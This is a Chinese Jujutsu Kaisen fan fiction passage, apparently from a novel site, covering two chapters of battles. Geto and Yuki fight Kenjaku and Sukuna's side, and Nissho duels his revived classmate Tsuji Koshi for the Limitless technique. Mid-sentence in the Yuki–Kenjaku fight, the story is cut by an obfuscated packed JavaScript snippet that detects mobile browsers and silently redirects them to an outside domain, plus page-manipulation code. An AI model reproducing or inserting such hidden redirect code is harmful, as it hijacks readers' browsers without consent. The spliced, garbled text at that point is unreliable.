“——那可是【无下限咒术】啊。” —— 结界消失的那一刻,夏油杰立即冲向伏黑惠所在的石台,却正面对上了诅咒之王猩红的双眼。 “宿傩大人!!” 苏醒的宿傩略微回身,通过抓住手腕的方式阻止了伏黑甚尔从背后袭来的进攻:“哦?这具身体倒是很少见啊,和那个女人一样的天与咒缚吗?” 伏黑甚尔挣开宿傩的钳制,释魂刀划出的刀光密密麻麻,像一张巨网一样将宿傩包裹了进去。 诅咒之王的速度更快,那些封印术被他随手扯断,咒符燃烧的灰烬四散飘落。他落在里梅身边,来回握拳:“哼,本来打算跟那女人过过招磨合一下的,不过嘛......” 他的视线落在伏黑甚尔那张和伏黑惠有七八分像的脸上:“这个勉强应该也行吧。” 夏油杰审视着如今僵持的局面。宿傩看起来不像是勉强自己的样子,不过他一直都是这么一副唯我独尊的模样,没有弥山在他们很难判断宿傩受到的灵魂损伤是否完全恢复了。 他很兴奋。 “里梅,都准备好了吧?” 白发的术师恭敬地低头:“一切都准备好了,宿傩大人。” “哈哈,你一直都这么贴心。” 在进行“浴”之前,跟这个天与咒缚玩玩吧。宿傩看了一眼羂索,他挑着眉毛举起双手:“随你。” 这些全都被夏油杰收入眼中。羂索看起来不准备立刻参战,但不能放任他在一边看戏。夏油杰与九十九由基交换了一个眼神,明确了对方的想法与自己是一样的。 原本如果只是羂索一人的话,他们可以采取车轮战,至少将羂索的术式情报逼出来,最好逼他用出领域,这样他们就算有一个人会为了对抗领域而和对方同样陷入术式熔断期,还有其他人可以趁此机会杀死羂索。 带上一个里梅也没关系,但是现在多了一个宿傩。 夏油杰还是想不明白为什么被释魂刀捅穿心脏、灵魂受到重创的宿傩能够这么快地恢复行动能力。 除非—— 他目眦欲裂:“难道!?” 宿傩扫了夏油杰一眼,嬉笑着说道:“看来你终于发现了啊。” 他没有一点遮掩的意思,被猜到又怎样?反正伏黑惠的灵魂在他的身体里,他想怎么用就怎么用喽。 这个混蛋!!夏油杰挥手,虹龙从他身后的虚空中显现出来。 里梅拦在了夏油杰和宿傩之间:“退下!!不要打扰宿傩大人的战斗。” 夏油杰怒道:“这是我要说的话,别挡我的路!!” 伴随着爆炸般的轰响,宿傩和伏黑甚尔的身影已经消失在了地下空间,他们将战场蛮不讲理地转移到了地表。 夏油杰收服的所有咒灵中,虹龙的硬度是最高的。里梅抬手至嘴边,将无数处于过度冷却状态的咒力“吹”向夏油杰的方向。 虹龙身上的鳞片迅速结满了冰霜,可它通过高速运动又将尚未完全凝结的冰晶从身上震落,硬生生地在扫过来的冰雾之中钻出了一条通道。 里梅曾有“冻星”的称号,【冰凝咒法】是等级极高的冰系术式,几乎不需要有利环境的帮助,他可以自己创造出一片属于他的环境优势。在急速冻结的冰层面前,虹龙最终还是遇到了无法超越的屏障。 它只是外皮坚硬,但论攻坚的强度在夏油杰手里的咒灵中还算不上特别出众。凝结的速度很快,而且冰层的硬度很高......夏油杰的脚边出现大片漆黑的阴影,一个庞然大物被召唤了出来:“那就,试试这个。” 羂索站在参道旁优哉游哉地俯瞰整个战场,看着夏油杰身后出现的巨型咒灵,他眼前一亮:“哦呀,没想到他真的得到这个大家伙了啊。” 来自亚洲的特级咒灵,他以为被五条悟和夏油杰祓除了,没想到居然是收服了啊。 “嗯,果然还是那具身体更好用一点。”羂索推推眼镜,对身后走过来的九十九由基说道。 “那你费尽心思得到日照星海的身体做什么?”凰轮·迦楼罗盘绕在九十九由基身边,术式咒具化显现出的式神是除了她之外唯一的术式对象。 羂索笑道:“当然是因为有趣啊。” 他摊开手,极有分享欲地说了起来:“虽然这些话我本来想等到他们本人来问的时候再说,到时候肯定会比和你谈这些更有意思一些吧?不过,说给你听听倒也无妨,毕竟我们的思考方式很像呢。” 九十九由基做了一个鬼脸:“这个说法好恶心。” “呵呵,”羂索说道,“他们之间的联系哪怕是在同卵双胞胎之中也是最紧密的那一类,倒也不是说这么多年只有这一例,只是像他们这样天赋异禀的的确太少见了。” “他们简直就是将一个灵魂一分为二,装进了两个躯壳中。” 九十九由基觉得有点反胃:“所以你就让他们合二为一了?” 羂索抱臂,眯着眼睛笑了起来:“算是吧,你不觉得好奇吗?虽然是一时兴起,但也还是给了我不小的惊喜。唯一遗憾的是如果他们换过来就好了,星海这孩子的视力实在太差了。” 戴着眼镜也根本看不清楚什么东西嘛,害得他连他们连上的表情都没办法好好欣赏了。 九十九由基的手搭在了凰轮·迦楼罗的身上,式神迅速团成了圆球。 终于准备动手了吗?羂索摘掉几乎只是起到装饰作用的眼镜,伪六眼之中闪烁着九十九由基澎湃的咒力。按理说,九十九由基的术式应该被记录在总监部,可是他却没能找到任何和她的术式有关的信息。不过,他还有这双眼睛。 她的式神上带着她的咒力。 凰轮·迦楼罗从外表上看是一只头颅形似鸭嘴兽的头骨、身体由骨节组成的式神,但是那些骨节之间又有肌肉连接,看样子跟刺鞭相似,肌肉紧缩就可以让那些串联的骨节收回到一处,当做棍棒或刀剑来使用。一旦放松连接,伸长的骨节就能像柔软的鞭子一样甩出去发起进攻。 是一件相当不好对付的东西啊。 但是。羂索伸出手,一切含有咒力的攻击在【仳】的面前都是无用功。 九十九由基摆正团成团状的凰轮·迦楼罗的位置,浑身用力到腮帮鼓起,脖颈爬满青筋。她略微后退了一步,然后狠狠踢击在了式神的身上。 59.旧雨重逢 九十九由基的这一踢用上了十成的力道。 无论何时,针对“概念”衍生出的能力通常会被认为是极具潜力的力量,因为简单粗暴又几乎无解。夏油杰身后出现的巨大咒灵将缠绕着佛珠的双掌合十,拍击了一下,珠串相击发出接连不断的清脆响声。 阻挡虹龙前进的冰层刹那间融化,里梅只得仓促抬手防御。 这只特级咒灵的能力是“反转”,与粟坂二良的术式有异曲同工之处,但要远比诅咒师的术式强得多。夏油杰伸出手向下指,身后的咒灵数次拍手,里梅陷入了无比混乱的状态。 他催动【冰凝咒法】,咒力却没有进入低温冷却的状态,温度反而逐步升高,连他自己都感觉到了被灼伤的炽热。他也根本无法好好站在地面上,从感觉上来说就像是突然失去了重力,整个人不受控制地向上空浮了起来。 “——!?”羂索在千钧一发之刻侧过身体才勉强躲开了宛如闪电一般的攻击。 凰轮·迦楼罗蹭着他的发丝击穿了他身后的墙壁,恐怖的破空声环绕着地下空间,侧脸的皮肤紧绷着。 羂索在她施用术式后终于通过日照星海的眼睛得到了自己想知道的答案。九十九由基的术式【星之怒】将几乎不可能被纳入术式对象范畴中的“质量”利用了起来,能够赋予术师本人假想的绝对质量。 这个女人是一头货真价实的猛兽。 刚才式神被当做足球一样踢过来的攻击速度实在太快,【仳】根本来不及施展。而九十九由基本人也在凰轮·迦楼罗没有击中目标后主动拉近了和羂索的距离,既然你有那双眼睛的话,肯定将我的术式都看清楚了吧—— 羂索的确看得很清楚。九十九由基本人的行动速度并没有减慢,说明【星之怒】增加的质量对术师和式神都不构成影响,由此可以推测他们自身的强度并没有增加。 “就这么冲过来真的好吗?”羂索知道只要被九十九由基打中一拳,被直接拦腰砸断的可能性并非为零。 在九十九由基距离羂索只有不到五米的距离时,【仳】爆发了。 无形的冲击扩散,将九十九由基笼罩进了术式生效的范围内。可分解没有发生。 金发术师因为用尽全身力量在挥拳而表情狰狞,羂索愕然地抬臂格挡,双手的臂骨果不其然径直在巨大的冲击力下直接折断,只留下了一层薄薄的皮肉连接着,整个人被揍飞了出去。 他撞上了刚才被凰轮·迦楼罗在墙面上砸出来的坑洞,咳了两下。 “......原来如此,”羂索晃晃惨不忍睹的双臂,很快从地上爬了起来,用反转术式将手臂接了回去,“原来如此啊。” 九十九由基在进入【仳】的术式范围之前在自己的身体上展开了一层薄膜一样的领域,这种技法并不古老,在涩谷时羂索将其教授给了漏瑚等特级咒灵,原本的目的是为了让他们能够中和五条悟的【无下限咒术】,尽可能拖延时间让他准备狱门疆。 这是领域展延。五条悟的应对方法是维持更强力的术式输出来避免【无下限咒术】被中和,在双方实力差距过大的情况下,领域展延能够中和的术式效果达到饱和,自然也就起不到什么作用了。 想来应该是五条悟将从漏瑚它们那里见到的这种方法教给了九十九由基。 这种技法相当于给自己套了一层空的领域外壳,如果硬要说的话,灵感自然来自于不以结界包裹的开放式领域。通常领域展开的结界构成条件都是为了应对发生在内部的战斗,这个技法相当于将领域从内向外翻了过来,可以容纳术式必中效果的空间出现在了外部。 【仳】的必中效果被九十九由基利用领域展延中和,实际上就是她将自己从【仳】的术式对象中剔除了出去,通过这种方法避免自己被分解。 领域展延状态下无法使用生得术式,所以九十九由基在确定【仳】的“抓人”阶段结束后,迅速解除了展延,重启【星之怒】。 “很聪明的做法,没想到我居然被自己反将了一军啊。” 【仳】没有所谓的术式持续时间,也就是说只要能够比【仳】更快地进入领域展延状态,就相当于着找到了可以克制这个术式的方法。 从刚才【仳】和领域展延的对抗来看,他和九十九由基的实力是处于差不多同一水准的,他没办法让她的展延处于饱和从而让术式对她造成伤害。 而且除了暴力进攻外,九十九由基肯定还有作为杀手锏的高咒力输出扩张术式。 九十九由基承认自己刚才有赌的成分在。五条悟向她和夏油杰说明了领域展延的使用方法,因为理论上【仳】没有术式持续时间的说法,但却有“发动时间”,从起点到五十米,这个范围扩大的速度因为术师的不同而存在着细微的差距。 “可千万别在弥山面前这么用,他的【仳】发动时间可是无限趋近于零的哦。”五条悟警告道。 羂索没有日照弥山那么变态的速度,因此九十九由基成功躲过了【仳】。 现在的局势是三对三。九十九由基一击得手,并没有选择继续乘胜追击。羂索可以使用更换的肉|体身上刻印的术式,曾在涩谷使用过的“重力”究竟拥有何种术式效果也并不明晰。【仳】发动的间隔时间不是固定的,全力施展术式的话会有十秒左右的冷却期,但羂索脚下的地面完好无损,意味着他并没有全力以赴,因此【仳】的冷却时间要远远短于十秒。 九十九由基没办法一直高强度地瞬开领域展延来对付不知道究竟有没有冷却好的【仳】,更何况她尚不确定羂索能不能使用术式反转,如果被夺走了术式,那就会彻底地失去对抗的能力。 现在最好的方法是逼迫羂索开启领域,就算她这边同样用领域来对抗,她还有凰轮·迦楼罗,术式熔断期对她来说是个机会。 况且,他们可以用来对抗羂索领域的方法又不止一种。 “你觉得我看不到你吗,”羂索没有回头,和悄然摸到他身后不远处的咒灵说道,“真人。” “我就说会被发现的吧?算了,反正他不会听我的。”脸上布满缝合线的特级咒灵揉捏着自己的灵魂,像宿傩一样长出了另一对手臂,四只手比出相应的手印。 真人也是拥有领域的,对九十九由基来说,哪怕羂索选择用弥虚葛笼或简易领域之类的技法撑过真人领域展开的时间,她也可以让自己的领域跟上真人,不间断地展开。 而羂索在施展弥虚葛笼的时候无法使用术式,九十九由基可以趁此机会单方面发起进攻。最终目的就是逼迫羂索使用领域,进入术式熔断期。 羂索垂眸,只是了然地说道:“在一对多的情况下,理性思考得出的结论的确是应该将领域留到最后当做最终的杀手锏。” 真人的脚下已经出现了构成领域的结界雏形,【自闭圆顿裹】中无数双人手的倒影正自结界的缝隙中显现。 九十九由基看见羂索翻转双手,将手背相互叠靠,那个样子怎么看都是在结成手印! “但是,”流云一样的双眼瞳孔骤缩,羂索的声音染上了一点点振奋,从始至终保持的那份从容不迫源自于他对自己的绝对自信,“这样不就等于在说自己没有自信进行领域之间的比拼了吗?” 恍惚间有无数来自地狱的哀嚎声从开启了一条缝的地狱之门中泄露了出来。 “领域展开!!” 领域展开—— 新·阴流,简易领域!! 展现在羂索身后的是由无数无头尸身、残肢断臂、婴儿尸骸堆积而成的柱状物,那些凄厉的尖啸就是从它们之中借由婴儿的嘴巴发出的。生得领域具象化的产物通常没有任何实质性的作用,但这极具冲击力的画面仍让人不由自主地嗅到了腐朽亡骸的尸臭味道。 ——胎藏遍野。 率先察觉到不对劲的是真人。它的领域早羂索一步展开,按理说应该和他的领域呈现包裹的状态,但还未等到结界闭合,【自闭圆顿裹】的外壁就开始层层剥落。 它从未遇到过这样的情况,感觉就像是......羂索的领域比他的领域更大,正在从外部啃食着它的“壳”,一旦咬穿就会万劫不复。 这个领域!!? 九十九由基观察得更彻底,因此也更加心惊胆战。羂索的领域太大了,大到九十九由基已经产生了错觉,好像是羂索的领域内部空间可以无限延伸一样,但是薨星宫本殿旁的那颗御神木又提醒着她:羂索的领域尚未闭合,她还可以看到结界外的景象。 简易领域的外层边缘开始剥落,羂索领域的必中效果已经出现了。 九十九由基迅速上前,握住游到她身边的式神,连接着诸多骨节的肌肉变得柔软松弛。 千里之外关注着这处战场的天元不知不觉间流下了冷汗。 “羂索的领域......居然也是开放式的......” 五条悟看着机械丸传回的画面,既不担心也不惊讶,反倒衬得天元有些大惊小怪了起来。 不通过闭合的结界而直接将生得领域具象化,就像不用容器凭空带走一捧海水,天元没想到羂索对结界术的研究居然已经到达了这样的程度。 “他可是在阳光下活了千年,还掌握了制作灵魂咒物的方法,能够研究出领域展延这样的技法,拥有这样的领域也没什么好奇怪的吧?倒不如说如果他这千年除了年龄之外没有任何长进才叫人觉得可笑。” 五条悟撑着下巴说道。 天元沉默不语。 “你要是还知道什么别的最好现在都说出来哦,”如今咒术界当之无愧的第一人扒拉着眼罩,头顶的白发随着他的动作一翘一翘的,“情报的价值是有时限的,不要错过好机会啦。” 天元曾和驻守薨星宫的九十九由基讨论过针对羂索突袭的作战计划。当时祂提出可以逼迫羂索使用领域,这样祂可以利用空性结界分解他的领域的外壳,只要九十九由基能用简易领域之类的技法撑过十秒,他们就能让羂索陷入术式熔断期,取得绝对优势。 现在想想,羂索的开放式领域根本没有可以被分解的外壳可言,如果想要破坏这样的领域只能寄希望于将容纳它的空性结界一同破坏掉。 尽管如今九十九由基等人选择了同样的思路,但底牌却多了很多。因为从未料想过开放式领域的存在,真人的【自闭圆顿裹】被羂索的领域压制了下去,先一步陷入术式熔断的是真人。 九十九由基的简易领域也几乎破碎得差不多了,【胎藏遍野】内赋予领域的生得术式的必中效果重新锁定了金发的特级术师。 她握住凰轮·迦楼罗的嘴骨,像是甩鞭一样将它的身体狠狠抽击向羂索所在的位置。 式神几乎是扯着她向下,因为遭受了与施力方向不同角度的拉扯,九十九由基握着凰轮·迦楼罗的那条手臂直接被扯得脱臼。来不及思考究竟发生了什么事,一股重压从天而降,将她直接压向了地面。 这是......羂索赋予这个领域的术式!? 内脏被揉捏着,受到压迫的肺部无法扩张吸纳氧气,几近窒息的九十九由基看着从嘴角冒出的血迹竟然向上飞去。不,是她在急速坠落!? 终于、羂索终于使用了第三种术式!!! 感受到身体撞击到了地面,九十九由基失去了意识。 羂索主动解开了自己的领域,刚才击落九十九由基的攻击将整个参道部分完全和下层打通了,生死不明的特级术师跌入了本殿的入口、这片地下空间的最底部,羂索跟着跳了下去。 刚才的动静太大,没留意到真人的情况。目之所及的方向没有属于真人的咒力,是跑了还是被及时回收了? “不过,能够除掉九十九由基也算是不错的收获。” 羂索落地,看到了瘫倒在碎石残骸之间的九十九由基。他拍着手,看似惋惜地说道:“不知道你这是听了谁的话,居然觉得仅靠简易领域那种程度的技法就能对抗我的领域,落得如今的下场也是当然的。” 毕竟上面还有一个宿傩,有想要留着领域的想法也情有可原。 嚓嚓。 凰轮·迦楼罗游动着,骨节摩擦发出细小的噪音。 她的式神还没有消失?羂索抬头眨眼,随即转身挡下了九十九由基袭向他后脑的踢击。满脸鲜血、一条胳膊耷拉着的金发术师像是从地狱中爬回来的恶鬼,向着这个极恶的诅咒师发起了搏命的进攻。 这也许就是九十九由基所谓“优势”,【星之怒】还在运转,凰轮·迦楼罗和她将羂索包夹在了中间。因为负伤导致术式的效果大打折扣,但比起只能利用咒力强化自身的羂索来说已经算是一脚踩在了天平上,只要让她找到机会使用反转术式治好伤、恢复术式的输出,羂索必死无疑。 羂索很大声地啧舌。看到式神的时候他还以为九十九由基准备让式神为自己修复伤势争取时间,没想到这女人完全没有治伤的意思,拖着快要扭成麻花的胳膊就冲了上来。 “你也太纠缠不休了吧,”羂索以一敌二,居然和九十九由基打成了平手,“倒是治你的伤啊!” “用不着!!”九十九由基愈战愈勇,像只被逼入绝境的猛兽突然暴起,和凰轮·迦楼罗配合默契,让羂索不得不选择向后退。 式神看似只知道从固定的几个方向发起进攻,就在羂索也陷入这样的思维定式之中时,凰轮·迦楼罗旋转身体,错开了他提前预判进行防御的手臂,长长的身子卷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16308309|180318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住了羂索的身体,盘在了他的身上。 这是?羂索防备着九十九由基,可她像是终于到达了极限,弯腰低头呕出一大口鲜血,支撑不住般跪倒在地。 “机会总是稍纵即逝。”羂索笑道。 看不清脸的金发术师突然露出一个得意的笑,像是在说‘你终于上钩了’:“你也是啊。” 什么!? 盘住羂索半个身体的式神猛地增加了重量,扯着他向下坠去。这感觉......简直就像是中了他自己的术式一样!! 九十九由基单手撑地,眸光闪亮:“虽然还是朴实无华拼搏型更得我心,但是——” 凰轮·迦楼罗突增的质量让羂索无法移动,仅仅是维持站立都已经非常勉强。他扭头向后看,本应和里梅在上层战斗的夏油杰居然出现在了他的身后! “极之番,”夏油杰比出射击的手势,指尖直指羂索的大脑,“——漩涡。” —— 日照在小金列出的仙台结界泳者名单中见到了辻光士的名字。 感受到那熟悉的咒力气息时,说不惊讶是不可能的,但日照很快便接受了这一事实。没有人能够轻易接受自己的死亡,尤其是亲眼看着生命流逝的临终之际,人的求生欲会到达极限。 想必是羂索在辻光士死前和他达成了某种束缚,不过也不能排除这只是羂索单方面的强迫。辻光士的尸体和无数倒在冲绳的人一样,几乎烧得什么都不剩,就算损失了一根手指或者其他什么部位也根本没办法分辨出来了。 日照坐在天台边缘,棒球服外套的衣角随着高空的风猎猎飞舞。他将一条腿曲起,另一只脚轻松地悬在天台外。 “【无下限咒术】在你手上吗,光士?” 他略微侧身,看到了老同学的脸。辻光士在泳者名单上用的是他自己的名字,意味着他已经将容器的意识抹杀了。如今的脸也与日照记忆中的一模一样,看起来就像是急于证明“他”还活着似的。 站在天台门口的辻光士没有说话,他知道日照能够感受到。他的身上没有来自灵魂上的共鸣,听不到半身的呼唤。 日照没有得到答复。他其实不在意问题的答案,但辻光士拒绝回答的态度仍让他觉得头痛。他从天台边缘起身:“我能帮你解决掉身上束缚。” 【代理人】的术式反转能够抹消任何束缚。 “帮助他人没有任何意义,”辻光士终于开口,他和过去别无二致,又仿佛变得面目全非,“你们这样的人口中的‘帮’更是毫无意义。” “?” 辻光士的视线越过他,看向虚无的远方:“我回家看过了。应该说,曾经的家。父母有了新的孩子,那里已经没有我存在过的痕迹了。” “什么都没有剩下。” 连一张相片都没留下。这就是辻光士的一生。 “你这么说的话,每年都会去给你扫墓的歌姬可要哭了。” 闻言,辻光士只是说道:“是吗?” 日照:“光士,【无下限咒术】在哪?” 天台上一时陷入苦闷的寂静中,圆月的光亮罩在他们身上,将影子拉得极长。只有风声在回响。 月光下的云影移开,辻光士的脸完完整整地露了出来。他翘起一侧嘴角,表情奇异地笑了起来:“我很厉害吧?人死后变成咒灵的时候还会模模糊糊留下一些记忆,如今受肉之后我也勉强想起了一些。” 日照想起了他曾觉得和辻光士很像的那个名叫吉野顺平的少年。他看人还是不太准,也许只是吉野顺平勾起了他的记忆,才让他恍惚间觉得这两个人有些相似之处吧。 辻光士一直在为什么东西而感到痛苦。他很难给那个东西找到一个确切的形容,究竟是被家人放弃的自己,还是被迫和“怪物”共存的自己,又或者被投射到身处痛苦的深渊却被有能力者放弃拯救的普通人身上的自己? 看着日照挑眉不解的表情,辻光士自嘲般地说:“算了,你又不可能理解我。” 日照顿了顿,视线撇开了一点,又转了回来。眼神里有什么不一样了,但辻光士没有察觉到。 “你拿着【无下限咒术】没有意义,”他抬起下巴的动作辻光士很熟悉,“既然重获新生,那就去做自己未完成的事。” “......”辻光士耸肩:“现在我倒是没有什么‘必须要做’的事了。没有任何意义。” “因为家里不再有人记得你,所以觉得为了‘证明自己有能力’的事也变得毫无意义了吗?” “如果硬要说的话,大概就是这样吧。” 日照沉着脸说:“真是既宏大又渺小的愿望。” “也许老天把我的天赋给你更好一些,弥山。我会因为这样强大的力量而感到痛苦和烦恼,你的话根本不会有这样的想法吧?毕竟......” 辻光士想说的都在未尽之言中。 日照几乎是在瞪视他。 “你简直就像个没有人心的怪物。”不会被虚无的责任感压迫,不会因为力量可能会失控暴走而整日小心翼翼。在这个人的世界里,人与动物花草毫无区别。 他听到了从嘴角泄露出来的笑声。 “......你笑什么?” 日照摆手,脸上却没有笑意,就好像刚才的笑声不是他发出来的一样:“死亡果然能改变很多东西。” 辻光士压低眉毛:“我说的有错?你觉得我不了解你们吗,弥山?” 他不觉得自己说的有任何错误。 强大之人应该用自己的力量去拯救需要被拯救的人。 不管这么做是出于何种本心,至少辻光士以此为目标努力过。 日照惋惜地说道:“别把你的想法强加给别人,这一点你倒是和以前一模一样。而且,你对自己太自信了。” “是你们的‘以前’。” 日照垂眼不再看他:“兄弟姐妹之间尚无法说相互理解,你凭什么敢说了解我们?你知道自己在和谁说话吗?” 辻光士一怔:“......你是星海?” 异瞳青年的脸颊上出现了一张嘴巴:“猜对啦!” 日照弥山把星海挤下去之后满脸笑意,只是这笑容在辻光士看来与嘲笑无异。他抽出雷切,银白色的刀刃反射月光,化作刺目的银针闪过辻光士的眼睛。 日照歪头:“你们争论的东西对现状来说根本毫无意义,不过光士你至少说对了一小部分。” 握刀的手平举,然后慢慢收到耳侧。凶器像是镜子一般照出了辻光士从没有看透过的双眼,自刀尖向下蔓延的闪电状刀纹恰好趴在了右眼的疤痕上。 “抱歉啦光士,我更想要【无下限咒术】。” 60.褪色的弥赛亚 辻光士凭什么觉得自己能够胜过日照兄弟? 当他的一部分思维随着从自己尸体身上诞生的特级咒灵重新醒来时,他从它身上学会了领域展开的方法。 “你还没意识到十年到底能发生多少事吗?光士!!” 辻光士发现日照的速度比他想象中的要快上数倍。青年褪去了学生时代曾有过的稚气,可是他的眼神却一如过往,所以在看着那双眼睛的时候辻光士没有意识到眼前这个人已经比他多走了十多年的时间。 没等他反应过来,雷切就已经突破了他的防线,径直砍中了他的腹部。如果不是条件反射般将大部分咒力集中在受击的部位,辻光士会被日照当场腰斩。 饶是如此,他的腹部也被开出了一条恐怖的刀口,鲜血滴滴答答掉在了双脚间。 青年甩掉胁差上的血,将刀扛在肩膀上:“受肉|体唯一一次能够无条件修复身体的机会就是恢复自己原本肉身的时候。如果你还没学会反转术式,又浪费了那次机会的话......嘛,我姑且再最后问你一次。把【无下限咒术】给我吧?” 辻光士捂着肚子,丝丝白气从他的手臂间冒了出来。 日照昂首,眼睛弯弯:“果然。” 辻光士用反转术式修复了肚子上的刀伤。但是日照的右眼看得很清楚,他的反转术式运转效率不佳,为了将伤口修复到不影响战斗的程度,需要消耗的咒力成倍增加。 他从“日照星海”手里拿到了装着【无下限咒术】的咒物,咒物之上本来被用摧魔怨敌法封印了气息,只要辻光士带着这个咒物在这个国家除了北海道以外的任何地方待着都可以。 作为“重生”的代价,辻光士需要参与死灭洄游。这就意味着在最晚进入结界宣誓参加游戏之前的19天里,他可以完全将当今最强五条悟的力量封印。 的确是羂索让他来到东京的,但来找日照却是辻光士自作主张。 曾经同样拥有超越旁人力量的“怪物”们以不同的态度对待自己的力量,走向了不同的结局,又不约而同地再一次回到了这个世界。 濒死时说的“我不想死”,可当辻光士真的重新睁开眼睛,又不知道自己换来的这第二次人生还能用来做什么。 日照和辻光士认识的那个人简直天差地别。他们都默契地没有使用术式,可辻光士已经开始渐渐落入下风。 他的战斗思维还停留在十六岁,灵魂在咒物中经历的十多年沉淀没办法让他追上一步步走到今日的日照。 不单单是速度更快,日照的每一次进攻都奔着致命处而去,哪怕辻光士防住了也会觉得心惊胆战,更别说当那柄特级咒具擦着侧颈而过的时候带起的寒意。 日照突然收了手。 他皱眉:“你认真的吗?” 辻光士有了喘息的时间,蹭掉脖子上被锋利刀刃划开的浅痕中渗出来的血珠。 日照叹了口气,直接挥手切断了辻光士身上的束缚,有些不耐烦地说道:“如果不想好好打那就把【无下限咒术】给我,之后你爱干什么就干什么,没人会管你。” 辻光士感受到身上有某种无形的枷锁消失了,那是羂索和他之间定下的束缚。 “我还想赶时间去会会羂索,”日照甩刀,压低声音的时候周身染上了极具压迫性的气势,“我给过你机会了。” 人们总爱在时刻变化的人身上寻找过去的影子,辻光士又何尝不是在已经三十二岁的日照身上寻找记忆中那个十六岁的怪物?抱着属于过去的回忆,在如今的他们身上寻找和回忆里的人的相似之处,如果发现了不同,只会感叹“时光带给人的变化真大”。 似乎从未意识到回忆、连同记忆里的那个人都已经是属于过去的东西。 日照将这些分得很清楚。 他记得那些花曾经盛开的模样,所以就算有一天它们烂掉了也不会觉得可惜。 垂向地面的刀尖泛起点点雷光,照亮了黑暗的一隅。 “那个人跟我说了一种可能性,”辻光士说,“只要让所有的非术师完成和天元大人的超重复同化,就能让所有人都成为术师。” “所以?” 辻光士笑了一下:“咒术师总要找到战斗的意义才行。” 他曾为了得到认同而战斗。来自父母、同伴、老师、被拯救者的认同。 为此他曾迷失在力量带来的、名为“强大”的错觉中,被支配力量的“成就感”所迷惑。他以为普通人世界中残缺的自己来到咒术界后能够成为“完整的自己”,但事实上咒术界的自己也并不完整。 正如物部式所说,他夹在了普通人与咒术师的世界之间,独自痛苦地挣扎。 在被父母从“家”中抹去,在他选择抹杀这个容器的意识的时候,他就注定无法找回自己的本心——他无法再得到那些人的认同。 日照不解:“为什么是羂索?” 辻光士想了想,回道:“硬要说的话,你可以认为是成就感,也可以认为我只是随便为自己活下去找了个理由。” “......你还真是总爱自己往坑里跳。” 辻光士对此充耳不闻。 日照明白辻光士未必不知道羂索在骗他,可对他来说这个计划就是浮木,哪怕最后只是一场骗局,好歹这根浮木还是带着他多活了一段时间。 羂索计划中最大的阻力就是这些由咒术师们组成的同盟,日照自然也算在其中,哪怕他自己并不承认这一点。 “所以你就来找我了?”日照了然,他现在终于明白了辻光士会主动出现在他面前的理由:“你决定好了?” 辻光士轻声道:“决定了。” 之后的战斗会是真正的厮杀,是以命相搏的死斗。日照赢了,可以带走【无下限咒术】。反之如果他败了,辻光士能够为他如今追求的目标铲除一个最大的障碍。 日照扯动嘴角,拉出一个笑:“那就看你有没有这个本事了。” 话音未落,他已爆冲到了辻光士眼前。尽管辻光士已经和日照对过数招,可对方这次出手的速度依旧连他都无法适应。辻光士还记得羂索告诉他的有关日照星海的术式,他必须保证不会被日照触碰到,同时随时准备离开【仳】的术式生效范围。 前者是为了避免被日照夺走术式,这一点看似不利,实则辻光士也有可以反制的方法。他的【炽盛光】在正常状态下也需要“肢体接触”才能够给术式对象附加热的概念,如果日照选择通过触碰来夺走术式,他也可以用【炽盛光】反击。 果不其然,日照只是用千鸟不断发起进攻,并没有过分贴近辻光士。 日照看到辻光士精确地避开了千鸟“无形刀刃”的攻击范围,就猜到是羂索将这些情报全都告诉了辻光士。 “......之前还和你说什么‘现在没有必须要做的事’,这不是完全的有备而来嘛。”日照小声嘀咕。 日照不选择靠近辻光士并非忌惮他的【炽盛光】,而是他现在本身还带着从万那里拿到的【构筑术式】,再来一个术式他的大脑根本承受不住。 他忽然像是听到了什么,有点不可思议地拉长声音道:“我倒是无所谓啦,不过我还以为你会稍微犹豫一下呢。” 他正说着,抬头看到了迎面而来的无数火红球体。大概只有玻璃弹珠大小,数十颗被烧红的小球飞射过来,日照侧身躲避时还能感觉到炽热的气流从身旁划过。 这是扩张术式。 光士这家伙脑袋稍微变得灵活了一些啊。 深夜,靠近结界附近的街道总是幽深安静的,极少有人在夜间还停留在被设置为“缓冲区”的地带行动。 乙骨忧太接到机械丸的通知时正从西北方靠近仙台结界,这附近比他之前来仙台的时候热闹了一些。有不少商铺开始试着延后闭店的时间,街道上还能看见一些来往的行人,不过大多步履匆匆。 毕竟仙台结界最近一直很安静,缓冲区外附近的居民也在这样和平的表象下放松了警惕。 乙骨忧太在一家寿司店门前驻足,等待忧忧的到来。 “你说日照先生他们在和谁战斗?” 机械丸似乎很忙,过了一会儿才回道:“辻光士。2002年通过招募入学进入东京咒术高专,与日照兄弟、歌姬老师是同期。2003年死于冲绳‘熔海事件’,【无下限咒术】就在他手上。” 诶!?那不是......乙骨忧太还记得他们在冲绳那霸波之上海滩执行的那次任务。 同期......虽然乙骨忧太不觉得日照会输,但他稍微代入了一下他自己,瞬间觉得压力山大。不知是什么原因导致走上不同岔路的同伴,如果是自己真的能够毫无芥蒂地向着他们挥刀吗? 机械丸观察着结界内发生的战斗,呈现在他眼前的景象说明了乙骨忧太的担心是多余的。 在黑夜中爆发的火光震碎了周围建筑的玻璃,足以粉碎大地的爆炸产生的震颤连结界外的乙骨忧太都能感觉到。 看来辻光士和从他身上诞生的那个特级咒灵学到了不少东西,某种意义上讲也算是天赋异禀吧。日照高高跃起,落到了隔壁建筑的顶层。 “你那个时候说我不会用自己的术式,”辻光士从爆炸产生的黑雾中走了出来,手中握着一个明亮的球体,“是这个意思吗?” 日照看着他的手上的光球。那是用被附加了高温的咒力凝聚在一起后形成的物质,通过将这个球体发射出去,可以像炮弹一样制造爆炸攻击。 “算是吧。”日照对辻光士的话没什么反应,他想起的是跟在宿傩身边那个用冰的术师,那个人的【冰凝咒法】就是将超低温的咒力散布出去,以此造成冰浪一样的攻势。 按理说,辻光士也可以通过给自己的咒力附加热的概念,然后像里梅一样让那些咒力“飘”去他想让它们抵达的地方。 